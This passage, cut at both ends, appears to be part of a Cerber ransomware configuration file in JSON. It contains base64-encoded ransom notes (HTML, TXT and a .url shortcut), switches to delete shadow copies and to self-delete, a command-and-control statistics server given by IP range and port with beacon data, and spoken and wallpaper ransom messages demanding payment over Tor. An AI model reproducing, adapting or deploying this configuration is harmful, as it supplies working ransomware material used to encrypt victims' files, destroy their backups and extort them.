Jlc3VsdCk7DQogICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHNlcnZlcjMoYWRkcmVzcywgZnVuY3Rpb24ocmVzdWx0LCBlcnJvcikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlcnJvcikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGNoYW5nZVVybChyZXN1bHQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IgKHZhciBpID0gMTsgaSA8PSA0OyBpKyspIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd1cmxfJyArIGkpLnN0eWxlLmRpc3BsYXkgPSAnaW5saW5lJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd1cGRfJyArIGkpLmNsYXNzTmFtZSA9ICd1cGRfb2ZmJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgfSk7DQogICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9KTsNCiAgICAgICAgIH0sIDUwMCk7DQogICAgICB9DQogICAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgew0KICAgICAgICAgdXBkYXRlVXJsKCk7DQogICAgICB9LCA1MDApOw0KICAgICAgPC9zY3JpcHQ+DQogICA8L2JvZHk+DQo8L2h0bWw+",

"file_extension": ".html",

"base64": 1

},

{

"file_body": "ICANCiAgDQogIENfRV9SX0JfRV9SICAgUl9BX05fU19PX01fV19BX1JfRQ0KICANCiAgDQogICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiAgDQogIA0KICBDYW5ub3QgeW91IGZpbmQgdGhlIGZpbGVzIHlvdSBuZWVkPw0KICBJcyB0aGUgY29udGVudCBvZiB0aGUgZmlsZXMgdGhhdCB5b3UgbG9va2VkIGZvciBub3QgcmVhZGFibGU/Pz8NCiAgDQogIEl0IGlzIG5vcm1hbCBiZWNhdXNlIHRoZSBmaWxlcycgbmFtZXMsIGFzIHdlbGwgYXMgdGhlIGRhdGEgaW4geW91ciBmaWxlcw0KICBoYXZlIGJlZW4gZW5jcnlwdGVkLg0KICANCiAgR3JlYXQhDQogIFlvdSBoYXZlIHR1cm5lZCB0byBiZSBhIHBhcnQgb2YgYSBiaWcgY29tbXVuaXR5ICIjQ2VyYjNyIFJhbnNvbXdhcmUiLg0KICANCiAgDQogICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiAgDQogIA0KICAhISEgIElmIHlvdSBhcmUgcmVhZGluZyB0aGlzIG1lc3NhZ2UgaXQgbWVhbnMgdGhlIHNvZnR3YXJlICJDZXJiZXIiIGhhcw0KICAhISEgIGJlZW4gcmVtb3ZlZCBmcm9tIHlvdXIgY29tcHV0ZXIuDQogIA0KICAhISEgIEhUTUwgaW5zdHJ1Y3Rpb24gKCIjIERFQ1JZUFQgTVkgRklMRVMgIy5odG1sIikgYWx3YXlzIGNvbnRhaW5zIGENCiAgISEhICB3b3JraW5nIGRvbWFpbiBvZiB5b3VyIHBlcnNvbmFsIHBhZ2UhDQogIA0KICANCiAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KICANCiAgDQogIFdoYXQgaXMgZW5jcnlwdGlvbj8NCiAgLS0tLS0tLS0tLS0tLS0tLS0tLQ0KICANCiAgRW5jcnlwdGlvbiBpcyBhIHJldmVyc2libGUgbW9kaWZpY2F0aW9uIG9mIGluZm9ybWF0aW9uIGZvciBzZWN1cml0eQ0KICByZWFzb25zIGJ1dCBwcm92aWRpbmcgZnVsbCBhY2Nlc3MgdG8gaXQgZm9yIGF1dGhvcml6ZWQgdXNlcnMuDQogIA0KICBUbyBiZWNvbWUgYW4gYXV0aG9yaXplZCB1c2VyIGFuZCBrZWVwIHRoZSBtb2RpZmljYXRpb24gYWJzb2x1dGVseQ0KICByZXZlcnNpYmxlIChpbiBvdGhlciB3b3JkcyB0byBoYXZlIGEgcG9zc2liaWxpdHkgdG8gZGVjcnlwdCB5b3VyIGZpbGVzKQ0KICB5b3Ugc2hvdWxkIGhhdmUgYW4gaW5kaXZpZHVhbCBwcml2YXRlIGtleS4NCiAgDQogIEJ1dCBub3Qgb25seSBpdC4NCiAgDQogIEl0IGlzIHJlcXVpcmVkIGFsc28gdG8gaGF2ZSB0aGUgc3BlY2lhbCBkZWNyeXB0aW9uIHNvZnR3YXJlDQogIChpbiB5b3VyIGNhc2UgIkNlcmJlciBEZWNyeXB0b3IiIHNvZnR3YXJlKSBmb3Igc2FmZSBhbmQgY29tcGxldGUNCiAgZGVjcnlwdGlvbiBvZiBhbGwgeW91ciBmaWxlcyBhbmQgZGF0YS4NCiAgDQogIA0KICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQogIA0KICANCiAgRXZlcnl0aGluZyBpcyBjbGVhciBmb3IgbWUgYnV0IHdoYXQgc2hvdWxkIEkgZG8/DQogIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KICANCiAgVGhlIGZpcnN0IHN0ZXAgaXMgcmVhZGluZyB0aGVzZSBpbnN0cnVjdGlvbnMgdG8gdGhlIGVuZC4NCiAgDQogIFlvdXIgZmlsZXMgaGF2ZSBiZWVuIGVuY3J5cHRlZCB3aXRoIHRoZSAiQ2VyYmVyIFJhbnNvbXdhcmUiIHNvZnR3YXJlOyB0aGUNCiAgaW5zdHJ1Y3Rpb25zICgiIyBERUNSWVBUIE1ZIEZJTEVTICMuaHRtbCIgYW5kICIjIERFQ1JZUFQgTVkgRklMRVMgIy50eHQiKQ0KICBpbiB0aGUgZm9sZGVycyB3aXRoIHlvdXIgZW5jcnlwdGVkIGZpbGVzIGFyZSBub3QgdmlydXNlcywgdGhleSB3aWxsDQogIGhlbHAgeW91Lg0KICANCiAgQWZ0ZXIgcmVhZGluZyB0aGlzIHRleHQgdGhlIG1vc3QgcGFydCBvZiBwZW9wbGUgc3RhcnQgc2VhcmNoaW5nIGluIHRoZQ0KICBJbnRlcm5ldCB0aGUgd29yZHMgdGhlICJDZXJiZXIgUmFuc29td2FyZSIgd2hlcmUgdGhleSBmaW5kIGEgbG90IG9mDQogIGlkZWFzLCByZWNvbW1lbmRhdGlvbnMgYW5kIGluc3RydWN0aW9ucy4NCiAgDQogIEl0IGlzIG5lY2Vzc2FyeSB0byByZWFsaXplIHRoYXQgd2UgYXJlIHRoZSBvbmVzIHdobyBjbG9zZWQgdGhlIGxvY2sgb24NCiAgeW91ciBmaWxlcyBhbmQgd2UgYXJlIHRoZSBvbmx5IG9uZXMgd2hvIGhhdmUgdGhpcyBzZWNyZXQga2V5IHRvDQogIG9wZW4gdGhlbS4NCiAgDQogICEhISAgQW55IGF0dGVtcHRzIHRvIHJldHVybiB5b3VyIGZpbGVzIHdpdGggdGhlIHRoaXJkLXBhcnR5IHRvb2xzIGNhbg0KICAhISEgIGJlIGZhdGFsIGZvciB5b3VyIGVuY3J5cHRlZCBmaWxlcy4NCiAgDQogIFRoZSBtb3N0IHBhcnQgb2YgdGhlIHRoaXJkLXBhcnR5IHNvZnR3YXJlIGNoYW5nZSBkYXRhIHdpdGhpbiB0aGUNCiAgZW5jcnlwdGVkIGZpbGUgdG8gcmVzdG9yZSBpdCBidXQgdGhpcyBjYXVzZXMgZGFtYWdlIHRvIHRoZSBmaWxlcy4NCiAgDQogIEZpbmFsbHkgaXQgd2lsbCBiZSBpbXBvc3NpYmxlIHRvIGRlY3J5cHQgeW91ciBmaWxlcy4NCiAgDQogIFdoZW4geW91IG1ha2UgYSBwdXp6bGUsIGJ1dCBzb21lIGl0ZW1zIGFyZSBsb3N0LCBicm9rZW4gb3Igbm90IHB1dCBpbiBpdHMNCiAgcGxhY2UgLSB0aGUgcHV6emxlIGl0ZW1zIHdpbGwgbmV2ZXIgbWF0Y2gsIHRoZSBzYW1lIHdheSB0aGUgdGhpcmQtcGFydHkNCiAgc29mdHdhcmUgd2lsbCBydWluIHlvdXIgZmlsZXMgY29tcGxldGVseSBhbmQgaXJyZXZlcnNpYmx5Lg0KICANCiAgWW91IHNob3VsZCByZWFsaXplIHRoYXQgYW55IGludGVydmVudGlvbiBvZiB0aGUgdGhpcmQtcGFydHkgc29mdHdhcmUgdG8NCiAgcmVzdG9yZSBmaWxlcyBlbmNyeXB0ZWQgd2l0aCB0aGUgIkNlcmJlciBSYW5zb213YXJlIiBzb2Z0d2FyZSBtYXkgYmUNCiAgZmF0YWwgZm9yIHlvdXIgZmlsZXMuDQogIA0KICANCiAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KICANCiAgDQogICEhISAgVGhlcmUgYXJlIHNldmVyYWwgcGxhaW4gc3RlcHMgdG8gcmVzdG9yZSB5b3VyIGZpbGVzIGJ1dCBpZiB5b3UgZG8NCiAgISEhICBub3QgZm9sbG93IHRoZW0gd2Ugd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwgYW5kIHdlIHdpbGwgbm90IHRyeQ0KICAhISEgIHNpbmNlIHlvdSBoYXZlIHJlYWQgdGhpcyB3YXJuaW5nIGFscmVhZHkuDQogIA0KICANCiAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KICANCiAgDQogIEZvciB5b3VyIGluZm9ybWF0aW9uIHRoZSBzb2Z0d2FyZSB0byBkZWNyeXB0IHlvdXIgZmlsZXMgKGFzIHdlbGwgYXMgdGhlDQogIHByaXZhdGUga2V5IHByb3ZpZGVkIHRvZ2V0aGVyKSBhcmUgcGFpZCBwcm9kdWN0cy4NCiAgDQogIEFmdGVyIHB1cmNoYXNlIG9mIHRoZSBzb2Z0d2FyZSBwYWNrYWdlIHlvdSB3aWxsIGJlIGFibGUgdG86DQogIA0KICAxLiAgZGVjcnlwdCBhbGwgeW91ciBmaWxlczsNCiAgDQogIDIuICB3b3JrIHdpdGggeW91ciBkb2N1bWVudHM7DQogIA0KICAzLiAgdmlldyB5b3VyIHBob3RvcyBhbmQgb3RoZXIgbWVkaWE7DQogIA0KICA0LiAgY29udGludWUgeW91ciB1c3VhbCBhbmQgY29tZm9ydGFibGUgd29yayBhdCB0aGUgY29tcHV0ZXIuDQogIA0KICBJZiB5b3UgdW5kZXJzdGFuZCBhbGwgaW1wb3J0YW5jZSBvZiB0aGUgc2l0dWF0aW9uIHRoZW4gd2UgcHJvcG9zZSB0byB5b3UNCiAgdG8gZ28gZGlyZWN0bHkgdG8geW91ciBwZXJzb25hbCBwYWdlIHdoZXJlIHlvdSB3aWxsIHJlY2VpdmUgdGhlIGNvbXBsZXRlDQogIGluc3RydWN0aW9ucyBhbmQgZ3VhcmFudGVlcyB0byByZXN0b3JlIHlvdXIgZmlsZXMuDQogIA0KICANCiAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KICANCiAgDQogIFRoZXJlIGlzIGEgbGlzdCBvZiB0ZW1wb3JhcnkgYWRkcmVzc2VzIHRvIGdvIG9uIHlvdXIgcGVyc29uYWwgcGFnZSBiZWxvdzoNCiAgIF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fDQogIHwNCiAgfCAgMS4gIGh0dHA6Ly97VE9SfS57U0lURV8xfS97UENfSUR9DQogIHwNCiAgfCAgMi4gIGh0dHA6Ly97VE9SfS57U0lURV8yfS97UENfSUR9DQogIHwNCiAgfCAgMy4gIGh0dHA6Ly97VE9SfS57U0lURV8zfS97UENfSUR9DQogIHwNCiAgfCAgNC4gIGh0dHA6Ly97VE9SfS57U0lURV80fS97UENfSUR9DQogIHwNCiAgfCAgNS4gIGh0dHA6Ly97VE9SfS57U0lURV81fS97UENfSUR9DQogIHxfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXw0KICANCiAgDQogICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiAgDQogIA0KICBXaGF0IHNob3VsZCB5b3UgZG8gd2l0aCB0aGVzZSBhZGRyZXNzZXM/DQogIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiAgDQogIElmIHlvdSByZWFkIHRoZSBpbnN0cnVjdGlvbnMgaW4gVFhUIGZvcm1hdCAoaWYgeW91IGhhdmUgaW5zdHJ1Y3Rpb24gaW4NCiAgSFRNTCAodGhlIGZpbGUgd2l0aCBhbiBpY29uIG9mIHlvdXIgSW50ZXJuZXQgYnJvd3NlcikgdGhlbiB0aGUgZWFzaWVzdA0KICB3YXkgaXMgdG8gcnVuIGl0KToNCiAgDQogIDEuICB0YWtlIGEgbG9vayBhdCB0aGUgZmlyc3QgYWRkcmVzcyAoaW4gdGhpcyBjYXNlIGl0IGlzDQogICAgICBodHRwOi8ve1RPUn0ue1NJVEVfMX0ve1BDX0lEfSk7DQogIA0KICAyLiAgc2VsZWN0IGl0IHdpdGggdGhlIG1vdXNlIGN1cnNvciBob2xkaW5nIHRoZSBsZWZ0IG1vdXNlIGJ1dHRvbiBhbmQNCiAgICAgIG1vdmluZyB0aGUgY3Vyc29yIHRvIHRoZSByaWdodDsNCiAgDQogIDMuICByZWxlYXNlIHRoZSBsZWZ0IG1vdXNlIGJ1dHRvbiBhbmQgcHJlc3MgdGhlIHJpZ2h0IG9uZTsNCiAgDQogIDQuICBzZWxlY3QgIkNvcHkiIGluIHRoZSBhcHBlYXJlZCBtZW51Ow0KICANCiAgNS4gIHJ1biB5b3VyIEludGVybmV0IGJyb3dzZXIgKGlmIHlvdSBkbyBub3Qga25vdyB3aGF0IGl0IGlzIHJ1biB0aGUNCiAgICAgIEludGVybmV0IEV4cGxvcmVyKTsNCiAgDQogIDYuICBtb3ZlIHRoZSBtb3VzZSBjdXJzb3IgdG8gdGhlIGFkZHJlc3MgYmFyIG9mIHRoZSBicm93c2VyICh0aGlzIGlzIHRoZQ0KICAgICAgcGxhY2Ugd2hlcmUgdGhlIHNpdGUgYWRkcmVzcyBpcyB3cml0dGVuKTsNCiAgDQogIDcuICBjbGljayB0aGUgcmlnaHQgbW91c2UgYnV0dG9uIGluIHRoZSBmaWVsZCB3aGVyZSB0aGUgc2l0ZSBhZGRyZXNzDQogICAgICBpcyB3cml0dGVuOw0KICANCiAgOC4gIHNlbGVjdCB0aGUgYnV0dG9uICJJbnNlcnQiIGluIHRoZSBhcHBlYXJlZCBtZW51Ow0KICANCiAgOS4gIHRoZW4geW91IHdpbGwgc2VlIHRoZSBhZGRyZXNzDQogICAgICBodHRwOi8ve1RPUn0ue1NJVEVfMX0ve1BDX0lEfQ0KICAgICAgYXBwZWFyZWQgdGhlcmU7DQogIA0KICAxMC4gcHJlc3MgRU5URVI7DQogIA0KICAxMS4gdGhlIHNpdGUgc2hvdWxkIGJlIGxvYWRlZDsgaWYgaXQgaXMgbm90IGxvYWRlZCByZXBlYXQgdGhlIHNhbWUNCiAgICAgIGluc3RydWN0aW9ucyB3aXRoIHRoZSBzZWNvbmQgYWRkcmVzcyBhbmQgY29udGludWUgdW50aWwgdGhlIGxhc3QNCiAgICAgIGFkZHJlc3MgaWYgZmFsbGluZy4NCiAgDQogIElmIGZvciBzb21lIHJlYXNvbiB0aGUgc2l0ZSBjYW5ub3QgYmUgb3BlbmVkIGNoZWNrIHRoZSBjb25uZWN0aW9uIHRvIHRoZQ0KICBJbnRlcm5ldDsgaWYgdGhlIHNpdGUgc3RpbGwgY2Fubm90IGJlIG9wZW5lZCB0YWtlIGEgbG9vayBhdCB0aGUNCiAgaW5zdHJ1Y3Rpb25zIG9uIG9taXR0aW5nIHRoZSBwb2ludCBhYm91dCB3b3JraW5nIHdpdGggdGhlIGFkZHJlc3NlcyBpbg0KICB0aGUgSFRNTCBpbnN0cnVjdGlvbnMuDQogIA0KICBJZiB5b3UgYnJvd3NlIHRoZSBpbnN0cnVjdGlvbnMgaW4gSFRNTCBmb3JtYXQ6DQogIA0KICAxLiAgY2xpY2sgdGhlIGxlZnQgbW91c2UgYnV0dG9uIG9uIHRoZSBmaXJzdCBhZGRyZXNzIChpbiB0aGlzIGNhc2UgaXQgaXMNCiAgICAgIGh0dHA6Ly97VE9SfS57U0lURV8xfS97UENfSUR9KTsNCiAgDQogIDIuICBpbiBhIG5ldyB0YWIgb3Igd2luZG93IG9mIHlvdXIgd2ViIGJyb3dzZXIgdGhlIHNpdGUgc2hvdWxkIGJlIGxvYWRlZDsNCiAgICAgIGlmIGl0IGlzIG5vdCBsb2FkZWQgcmVwZWF0IHRoZSBzYW1lIGluc3RydWN0aW9ucyB3aXRoIHRoZSBzZWNvbmQNCiAgICAgIGFkZHJlc3MgYW5kIGNvbnRpbnVlIHVudGlsIHRoZSBsYXN0IGFkZHJlc3MuDQogIA0KICBJZiBmb3Igc29tZSByZWFzb24gdGhlIHNpdGUgY2Fubm90IGJlIG9wZW5lZCBjaGVjayB0aGUgY29ubmVjdGlvbiB0bw0KICB0aGUgSW50ZXJuZXQuDQogIA0KICANCiAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KICANCiAgDQogIFVuZm9ydHVuYXRlbHkgdGhlc2Ugc2l0ZXMgYXJlIHNob3J0LXRlcm0gc2luY2UgdGhlIGFudGl2aXJ1cyBjb21wYW5pZXMNCiAgYXJlIGludGVyZXN0ZWQgaW4geW91IGRvIG5vdCBoYXZlIGEgY2hhbmNlIHRvIHJlc3RvcmUgeW91ciBmaWxlcyBidXQNCiAgY29udGludWUgdG8gYnV5IHRoZWlyIHByb2R1Y3RzLg0KICANCiAgVW5saWtlIHRoZW0gd2UgYXJlIHJlYWR5IHRvIGhlbHAgeW91IGFsd2F5cy4NCiAgDQogIElmIHlvdSBuZWVkIG91ciBoZWxwIGJ1dCB0aGUgdGVtcG9yYXJ5IHNpdGVzIGFyZSBub3QgYXZhaWxhYmxlOg0KICANCiAgMS4gIHJ1biB5b3VyIEludGVybmV0IGJyb3dzZXIgKGlmIHlvdSBkbyBub3Qga25vdyB3aGF0IGl0IGlzIHJ1biB0aGUNCiAgICAgIEludGVybmV0IEV4cGxvcmVyKTsNCiAgDQogIDIuICBlbnRlciBvciBjb3B5IHRoZSBhZGRyZXNzDQogICAgICBodHRwczovL3d3dy50b3Jwcm9qZWN0Lm9yZy9kb3dubG9hZC9kb3dubG9hZC1lYXN5Lmh0bWwuZW4gaW50byB0aGUNCiAgICAgIGFkZHJlc3MgYmFyIG9mIHlvdXIgYnJvd3NlciBhbmQgcHJlc3MgRU5URVI7DQogIA0KICAzLiAgd2FpdCBmb3IgdGhlIHNpdGUgbG9hZGluZzsNCiAgDQogIDQuICBvbiB0aGUgc2l0ZSB5b3Ugd2lsbCBiZSBvZmZlcmVkIHRvIGRvd25sb2FkIFRvciBCcm93c2VyOyBkb3dubG9hZCBhbmQNCiAgICAgIHJ1biBpdCwgZm9sbG93IHRoZSBpbnN0YWxsYXRpb24gaW5zdHJ1Y3Rpb25zLCB3YWl0IHVudGlsIHRoZQ0KICAgICAgaW5zdGFsbGF0aW9uIGlzIGNvbXBsZXRlZDsNCiAgDQogIDUuICBydW4gVG9yIEJyb3dzZXI7DQogIA0KICA2LiAgY29ubmVjdCB3aXRoIHRoZSBidXR0b24gIkNvbm5lY3QiIChpZiB5b3UgdXNlIHRoZSBFbmdsaXNoIHZlcnNpb24pOw0KICANCiAgNy4gIGEgbm9ybWFsIEludGVybmV0IGJyb3dzZXIgd2luZG93IHdpbGwgYmUgb3BlbmVkIGFmdGVyDQogICAgICB0aGUgaW5pdGlhbGl6YXRpb247DQogIA0KICA4LiAgdHlwZSBvciBjb3B5IHRoZSBhZGRyZXNzDQogICAgICAgX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18NCiAgICAgIHwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwNCiAgICAgIHwgaHR0cDovL3tUT1J9Lm9uaW9uL3tQQ19JRH0gfA0KICAgICAgfF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19ffA0KICANCiAgICAgIGluIHRoaXMgYnJvd3NlciBhZGRyZXNzIGJhcjsNCiAgDQogIDkuICBwcmVzcyBFTlRFUjsNCiAgDQogIDEwLiB0aGUgc2l0ZSBzaG91bGQgYmUgbG9hZGVkOyBpZiBmb3Igc29tZSByZWFzb24gdGhlIHNpdGUgaXMgbm90IGxvYWRpbmcNCiAgICAgIHdhaXQgZm9yIGEgbW9tZW50IGFuZCB0cnkgYWdhaW4uDQogIA0KICBJZiB5b3UgaGF2ZSBhbnkgcHJvYmxlbXMgZHVyaW5nIGluc3RhbGxhdGlvbiBvciBvcGVyYXRpb24gb2YgVG9yIEJyb3dzZXIsDQogIHBsZWFzZSwgdmlzaXQgaHR0cHM6Ly93d3cueW91dHViZS5jb20vIGFuZCB0eXBlIHJlcXVlc3QgaW4gdGhlIHNlYXJjaCBiYXINCiAgImluc3RhbGwgdG9yIGJyb3dzZXIgd2luZG93cyIgYW5kIHlvdSB3aWxsIGZpbmQgYSBsb3Qgb2YgdHJhaW5pbmcgdmlkZW9zDQogIGFib3V0IFRvciBCcm93c2VyIGluc3RhbGxhdGlvbiBhbmQgb3BlcmF0aW9uLg0KICANCiAgSWYgVE9SIGFkZHJlc3MgaXMgbm90IGF2YWlsYWJsZSBmb3IgYSBsb25nIHBlcmlvZCAoMi0zIGRheXMpIGl0IG1lYW5zIHlvdQ0KICBhcmUgbGF0ZTsgdXN1YWxseSB5b3UgaGF2ZSBhYm91dCAyLTMgd2Vla3MgYWZ0ZXIgcmVhZGluZyB0aGUgaW5zdHJ1Y3Rpb25zDQogIHRvIHJlc3RvcmUgeW91ciBmaWxlcy4NCiAgDQogIA0KICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQogIA0KICANCiAgQWRkaXRpb25hbCBpbmZvcm1hdGlvbjoNCiAgDQogIFlvdSB3aWxsIGZpbmQgdGhlIGluc3RydWN0aW9ucyBmb3IgcmVzdG9yaW5nIHlvdXIgZmlsZXMgaW4gdGhvc2UgZm9sZGVycw0KICB3aGVyZSB5b3UgaGF2ZSB5b3VyIGVuY3J5cHRlZCBmaWxlcyBvbmx5Lg0KICANCiAgVGhlIGluc3RydWN0aW9ucyBhcmUgbWFkZSBpbiB0d28gZmlsZSBmb3JtYXRzIC0gSFRNTCBhbmQgVFhUIGZvcg0KICB5b3VyIGNvbnZlbmllbmNlLg0KICANCiAgVW5mb3J0dW5hdGVseSBhbnRpdmlydXMgY29tcGFuaWVzIGNhbm5vdCBwcm90ZWN0IG9yIHJlc3RvcmUgeW91ciBmaWxlcw0KICBidXQgdGhleSBjYW4gbWFrZSB0aGUgc2l0dWF0aW9uIHdvcnNlIHJlbW92aW5nIHRoZSBpbnN0cnVjdGlvbnMgaG93IHRvDQogIHJlc3RvcmUgeW91ciBlbmNyeXB0ZWQgZmlsZXMuDQogIA0KICBUaGUgaW5zdHJ1Y3Rpb25zIGFyZSBub3QgdmlydXNlczsgdGhleSBoYXZlIGluZm9ybWF0aXZlIG5hdHVyZSBvbmx5LCBzbw0KICBhbnkgY2xhaW1zIG9uIHRoZSBhYnNlbmNlIG9mIGFueSBpbnN0cnVjdGlvbiBmaWxlcyB5b3UgY2FuIHNlbmQgdG8geW91cg0KICBhbnRpdmlydXMgY29tcGFueS4NCiAgDQogIA0KICAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQogIA0KICANCiAgQ2VyYmVyIFJhbnNvbXdhcmUgUHJvamVjdCBpcyBub3QgbWFsaWNpb3VzIGFuZCBpcyBub3QgaW50ZW5kZWQgdG8gaGFybSBhDQogIHBlcnNvbiBhbmQgaGlzL2hlciBpbmZvcm1hdGlvbiBkYXRhLg0KICANCiAgVGhlIHByb2plY3QgaXMgY3JlYXRlZCBmb3IgdGhlIHNvbGUgcHVycG9zZSBvZiBpbnN0cnVjdGlvbiByZWdhcmRpbmcNCiAgaW5mb3JtYXRpb24gc2VjdXJpdHksIGFzIHdlbGwgYXMgY2VydGlmaWNhdGlvbiBvZiBhbnRpdmlydXMgc29mdHdhcmUgZm9yDQogIHRoZWlyIHN1aXRhYmlsaXR5IGZvciBkYXRhIHByb3RlY3Rpb24uDQogIA0KICBUb2dldGhlciB3ZSBtYWtlIHRoZSBJbnRlcm5ldCBhIGJldHRlciBhbmQgc2FmZXIgcGxhY2UuDQogIA0KICANCiAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KICANCiAgDQogIElmIHlvdSBsb29rIHRocm91Z2ggdGhpcyB0ZXh0IGluIHRoZSBJbnRlcm5ldCBhbmQgcmVhbGl6ZSB0aGF0IHNvbWV0aGluZw0KICBpcyB3cm9uZyB3aXRoIHlvdXIgZmlsZXMgYnV0IHlvdSBkbyBub3QgaGF2ZSBhbnkgaW5zdHJ1Y3Rpb25zIHRvIHJlc3RvcmUNCiAgeW91ciBmaWxlcywgcGxlYXNlLCBjb250YWN0IHlvdXIgYW50aXZpcnVzIHN1cHBvcnQuDQogIA0KICANCiAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KICANCiAgDQogIFJlbWVtYmVyIHRoYXQgdGhlIHdvcnN0IHNpdHVhdGlvbiBhbHJlYWR5IGhhcHBlbmVkIGFuZCBub3cgaXQgZGVwZW5kcyBvbg0KICB5b3VyIGRldGVybWluYXRpb24gYW5kIHNwZWVkIG9mIHlvdXIgYWN0aW9ucyB0aGUgZnVydGhlciBsaWZlIG9mDQogIHlvdXIgZmlsZXMuDQogIA0KICA=",

"file_extension": ".txt",

"base64": 1

},

{

"file_body": "W0ludGVybmV0U2hvcnRjdXRdDQpVUkw9aHR0cDovL3tUT1J9LntTSVRFXzF9L3tQQ19JRH0/YXV0bw0K",

"file_extension": ".url",

"base64": 1

}

],

"files_name": "@___README___@",

"run_by_the_end": 1

},

"remove_shadows": 1,

"self_deleting": 1,

"servers": {

"statistics": {

"data_finish": "e01ENV9LRVl9",

"data_start": "e01ENV9LRVl9e1BBUlRORVJfSUR9e09TfXtJU19YNjR9e0lTX0FETUlOfXtDT1VOVF9GSUxFU317U1RPUF9SRUFTT059",

"ip": "31.184.234.0/23",

"knock": "aGl7UEFSVE5FUl9JRH0=",

"port": 6892,

"send_stat": 1,

"timeout": 255

}

},

"speaker": {

"speak": 1,

"text": [

{

"repeat": 1,

"text": "Attention! Attention! Attention!"

},

{

"repeat": 5,

"text": "Your documents, photos, databases and other important files have been encrypted!"

}

]

},

"wallpaper": {

"change_wallpaper": 1,

"background": 0,

"color": 65280,

"size": 13,

"text": " Your documents, photos, databases and other important files \r\n have been encrypted! \r\n\r\n If you understand all importance of the situation then we propose to you \r\n to go directly to your personal page where you will receive the complete \r\n instructions and guarantees to restore your files. \r\n\r\n There is a list of temporary addresses to go on your personal page below: \r\n\r\n ---------------------------------------------------------------------- \r\n\r\n 1. http://{TOR}.{SITE_1}/{PC_ID} \r\n\r\n 2. http://{TOR}.{SITE_2}/{PC_ID} \r\n\r\n 3. http://{TOR}.{SITE_3}/{PC_ID} \r\n\r\n 4. http://{TOR}.{SITE_4}/{PC_ID} \r\n\r\n 5. http://{TOR}.{SITE_5}/{PC_ID} \r\n\r\n 6. http://{TOR}.onion/{PC_ID} (TOR) "

},

"whitelist": {

"folders": [

